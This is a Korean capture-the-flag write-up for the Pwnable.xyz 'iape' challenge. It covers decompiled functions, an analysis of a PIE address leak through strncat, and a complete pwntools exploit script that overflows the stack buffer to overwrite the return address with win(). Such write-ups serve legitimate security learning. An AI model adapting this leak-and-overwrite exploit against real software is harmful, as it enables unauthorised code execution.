tmxklab
[Pwnable.xyz] iape 본문
1. 문제
nc svc.pwnable.xyz 30014
1) 문제 확인
2) 함수 확인
2-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char s; // [rsp+10h] [rbp-400h]
setup(argc, argv, envp);
memset(&s, 0, 1024uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int32();
if ( v3 != 1 )
break;
printf("data: ");
fgets(&s, 128, stdin);
}
if ( v3 <= 1 )
break;
if ( v3 == 2 )
{
append(&s);
}
else if ( v3 == 3 )
{
printf("Your message: %s\n", &s);
}
else
{
LABEL_13:
puts("Invalid");
}
}
if ( v3 )
goto LABEL_13;
return 0;
}
- s변수를 0x400(1024)bytes만큼 0으로 세팅
- read_int32()의 반환 값인 v3에 따라 메뉴 1, 2,3실행
- 메뉴 1 : s변수에 128bytes만큼 표준입력을 받음
- 메뉴 2 : s변수에 입력 값을 붙이는 것 같음
- 메뉴 3 : s변수의 값을 출력
2-2) append()
char *__fastcall append(char *a1)
{
char buf; // [rsp+10h] [rbp-20h]
unsigned int v3; // [rsp+2Ch] [rbp-4h]
v3 = rand() % 16;
printf("Give me %d chars: ", v3);
read(0, &buf, (int)v3);
return strncat(a1, &buf, (int)v3);
}
- v3에 난수 값과 16을 나눈 나머지 값을 저장
- buf에 v3값 크기만큼 저장한 후 a1에 buf의 값을 붙임
2-3) read_int32()
int read_int32()
{
char s; // [rsp+0h] [rbp-10h]
memset(&s, 0, 0x10uLL);
read(0, &s, 0x10uLL);
return atoi(&s);
}
- s변수를 0x10(16)bytes만큼 0으로 세팅한 후 0x10bytes만큼 입력을 받아서 int형으로 변환 후 반환
3) mitigation
이번엔 카나리만 안 걸려있다.
2. 접근방법
1) 디버깅
먼저 카나리가 걸려있지 않으며 메뉴 0을 입력하면 메인함수의 ret로 이동하는 것을 확인할 수 있다.
그러면 간단한 방법으로 입력 값을 저장하는 s변수[rbp-0x400]에 더미 값을 채워 ret에 win()의 주소 값을 채우면 될 것 같다.
하지만 PIE가 걸려있어 주소 값이 계속 변경되므로 base주소와 offset을 이용하여 win()의 주소를 찾아야 한다.
그러기 위해서 릭을 해야하는데 출력할 수 있는 부분이 메뉴3이다.
- 0x7fffffffedae0은 s변수의 주소 값
하지만 s변수는 0x0으로 0x400bytes만큼 초기화되어 있으므로 주소 값을 릭할 수 없다.
append함수에서 디버깅한 결과
buf변수에 0x8000bc2가 보임
그리고 해당 주소 값은 append함수로부터 2bytes차이가 난다.
append함수는 buf변수에 입력 값을 받고 메인함수의 s변수에 이어붙이는 기능을 수행한다. 하지만 8bytes를 채우면 다음 0x8000bc2주소에 접근할 수 있다.(중간에 널바이트가 없으므로)
확인결과)
참고로 입력받을 수 있는 길이는 랜덤이므로 8bytes이상 입력받을 수 있는 경우에 8bytes만큼 채워줘야 한다.
위의 사진은 8bytes꽉 채워서 입력한 결과 저장된 buf변수의 상황이다.
strncat을 수행하고 s변수에 저장된 값에 마지막에 0xbc2가 보인다.
0x8000bc2에서 중간에 널 값이 존재하므로 마지막 0xbc2만 저장됨을 알 수 있다.
그리고 메뉴 3번을 눌러 출력하면
마지막에 이상한 값이 출력되는데 아마 0xbc2인 듯하다.
결론)
-
append함수에서 8bytes만 입력하여 append함수의 주소 값을 s변수에 저장
-
메뉴 3번을 입력하여 append함수 주소 릭
-
append함수의 주소 값에 offset을 빼서 base 주소 값을 알아냄
-
base 주소와 win함수 offset을 더하여 win함수 주소 구하기
-
s변수[rbp-0x400]에 0x400bytes만큼의 더미 값을 넣어 ret주소에 win함수 주소 값 변조
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge", aslr=False)
p = remote("svc.pwnable.xyz", 30014)
#gdb.attach(p)
e = ELF("./challenge")
maxlen = 1024 + 8 + 8
count = 0
append_offset = int(hex(0xbc4), 16)
win_offset = int(hex(0xb57), 16)
# 1. find append() address
# 1.1 find get data len >= 14
while True:
p.sendafter("> ", "2")
get = int(p.recv(10)[8:10])
print("[*] get data size : "+str(get))
if get == 0:
continue
elif get >= 14:
p.sendafter(": ", "A"*8)
count += 8
print("[*] maxlen : "+str(maxlen-count))
break
else:
p.sendafter(": ", "1")
count += 1
print("[*] maxlen : "+str(maxlen-count))
# 1.2 leak append() address and find base address
p.sendafter("> ", "3")
append_addr = p.recv(20+count)[-6:]
append_addr += "\x00\x00"
append_addr = u64(append_addr)
append_addr += 2
base_addr = append_addr - int(append_offset)
win_addr = base_addr + win_offset
win_addr_len = len(hex(win_addr))-2
print("[*] append_addr : "+hex(append_addr))
print("[*] append_offset : "+hex(append_offset))
print("[*] base_addr : "+hex(base_addr))
print("[*] win_addr : "+hex(win_addr))
print("[*] win_addr len : "+str(win_addr_len))
print("[*] maxlen : "+str(maxlen))
p.sendafter("> ", "1")
p.sendafter("data: ", "A"*127)
maxlen -= 127
# 2. Input dummy(1024 + 8 bytes)
while maxlen > 9:
p.sendafter("> ", "2")
input_len = int(p.recv(10)[8:10])
if input_len == 0:
continue
elif input_len == 1:
p.sendafter("chars: ", "\x00")
elif input_len == 8:
p.sendafter("chars: ", "A"*8)
maxlen -= 8
elif input_len == 9:
p.sendafter("chars: ", "A"*8+"\x00")
maxlen -= 8
elif input_len == 10:
p.sendafter("chars: ", "A"*8+"\x00")
maxlen -= 8
elif input_len == 11:
p.sendafter("chars: ", "A"*8+"\x00")
maxlen -= 8
elif input_len == 12:
p.sendafter("chars: ", "A"*8+"\x00")
maxlen -= 8
elif input_len == 13:
p.sendafter("chars: ", "A"*8+"\x00")
maxlen -= 8
elif input_len == 14:
p.sendafter("chars: ", "A"*8+"\x00")
maxlen -= 8
elif input_len == 15:
p.sendafter("chars: ", "A"*8+"\x00")
maxlen -= 8
else:
p.sendafter("chars: ", "\x00")
print("[*] maxlen : "+str(maxlen))
# 2.1 Input 1byte
if maxlen == 9:
p.sendafter("> ", "2")
input_len = int(p.recv(10)[8:10])
while True:
if input_len == 0:
continue
else:
p.sendafter("chars: ", "A"+"\x00")
break
# 3. Input win() address
print("[*] win() address : "+hex(win_addr))
while True:
p.sendafter("> ", "2")
input_len = int(p.recv(10)[8:10])
if input_len == 0:
continue
elif input_len == 8:
p.sendafter("chars: ", p64(win_addr))
break
else:
p.sendafter("chars: ", "\x00")
p.sendafter("> ", "0")
p.interactive()
2) 공격실행
시간좀 걸리니깐 기달려야 함
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] UAF (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] BabyVM (0) | 2020.06.23 |
[Pwnable.xyz] strcat (0) | 2020.05.03 |
[Pwnable.xyz] J-U-M-P (0) | 2020.05.03 |
[Pwnable.xyz] SUS (0) | 2020.04.23 |